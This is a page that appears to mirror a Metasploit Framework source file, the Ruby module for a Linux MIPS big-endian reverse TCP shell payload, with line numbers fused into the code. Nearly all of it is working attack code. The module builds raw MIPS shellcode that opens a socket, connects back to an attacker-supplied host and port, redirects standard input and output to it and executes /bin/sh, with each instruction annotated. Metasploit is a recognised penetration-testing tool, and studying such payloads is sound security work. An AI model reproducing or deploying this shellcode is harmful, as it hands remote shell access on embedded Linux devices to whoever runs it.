Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb
Views: 11782
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 184910include Msf::Payload::Single11include Msf::Payload::Linux12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Linux Command Shell, Reverse TCP Inline',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' =>19[20'rigan <imrigan[at]gmail.com>', # Original shellcode21'juan vazquez' # Metasploit module22],23'References' =>24[25['EDB', '18226']26],27'License' => MSF_LICENSE,28'Platform' => 'linux',29'Arch' => ARCH_MIPSBE,30'Handler' => Msf::Handler::ReverseTcp,31'Session' => Msf::Sessions::CommandShellUnix,32'Payload' =>33{34'Offsets' => { },35'Payload' => ''36})37)38end3940def generate(_opts = {})41if( !datastore['LHOST'] or datastore['LHOST'].empty? )42return super43end4445host = Rex::Socket.addr_atoi(datastore['LHOST'])46port = Integer(datastore['LPORT'])4748host = [host].pack("N").unpack("cccc")49port = [port].pack("n").unpack("cc")5051shellcode =52# sys_socket53# a0: domain54# a1: type55# a2: protocol56"\x24\x0f\xff\xfa" + # li t7,-657"\x01\xe0\x78\x27" + # nor t7,t7,zero58"\x21\xe4\xff\xfd" + # addi a0,t7,-359"\x21\xe5\xff\xfd" + # addi a1,t7,-360"\x28\x06\xff\xff" + # slti a2,zero,-161"\x24\x02\x10\x57" + # li v0,4183 # sys_socket62"\x01\x01\x01\x0c" + # syscall 0x404046364# sys_connect65# a0: sockfd (stored on the stack)66# a1: addr (data stored on the stack)67# a2: addrlen68"\xaf\xa2\xff\xff" + # sw v0,-1(sp)69"\x8f\xa4\xff\xff" + # lw a0,-1(sp)70"\x34\x0f\xff\xfd" + # li t7,0xfffd71"\x01\xe0\x78\x27" + # nor t7,t7,zero72"\xaf\xaf\xff\xe0" + # sw t7,-32(sp)73"\x3c\x0e" + port.pack("C2") + # lui t6,0x1f9074"\x35\xce" + port.pack("C2") + # ori t6,t6,0x1f9075"\xaf\xae\xff\xe4" + # sw t6,-28(sp)76"\x3c\x0e" + host[0..1].pack("C2") + # lui t6,0x7f0177"\x35\xce" + host[2..3].pack("C2") + # ori t6,t6,0x10178"\xaf\xae\xff\xe6" + # sw t6,-26(sp)79"\x27\xa5\xff\xe2" + # addiu a1,sp,-3080"\x24\x0c\xff\xef" + # li t4,-1781"\x01\x80\x30\x27" + # nor a2,t4,zero82"\x24\x02\x10\x4a" + # li v0,4170 # sys_connect83"\x01\x01\x01\x0c" + # syscall 0x404048485# sys_dup286# a0: oldfd (socket)87# a1: newfd (0, 1, 2)88"\x24\x11\xff\xfd" + # li s1,-389"\x02\x20\x88\x27" + # nor s1,s1,zero90"\x8f\xa4\xff\xff" + # lw a0,-1(sp)91"\x02\x20\x28\x21" + # move a1,s1 # dup2_loop92"\x24\x02\x0f\xdf" + # li v0,4063 # sys_dup293"\x01\x01\x01\x0c" + # syscall 0x4040494"\x24\x10\xff\xff" + # li s0,-195"\x22\x31\xff\xff" + # addi s1,s1,-196"\x16\x30\xff\xfa" + # bne s1,s0,68 <dup2_loop>9798# sys_execve99# a0: filename (stored on the stack) "//bin/sh"100# a1: argv "//bin/sh"101# a2: envp (null)102"\x28\x06\xff\xff" + # slti a2,zero,-1103"\x3c\x0f\x2f\x2f" + # lui t7,0x2f2f "//"104"\x35\xef\x62\x69" + # ori t7,t7,0x6269 "bi"105"\xaf\xaf\xff\xec" + # sw t7,-20(sp)106"\x3c\x0e\x6e\x2f" + # lui t6,0x6e2f "n/"107"\x35\xce\x73\x68" + # ori t6,t6,0x7368 "sh"108"\xaf\xae\xff\xf0" + # sw t6,-16(sp)109"\xaf\xa0\xff\xf4" + # sw zero,-12(sp)110"\x27\xa4\xff\xec" + # addiu a0,sp,-20111"\xaf\xa4\xff\xf8" + # sw a0,-8(sp)112"\xaf\xa0\xff\xfc" + # sw zero,-4(sp)113"\x27\xa5\xff\xf8" + # addiu a1,sp,-8114"\x24\x02\x0f\xab" + # li v0,4011 # sys_execve115"\x01\x01\x01\x0c" # syscall 0x40404116117return super + shellcode118end119end120121122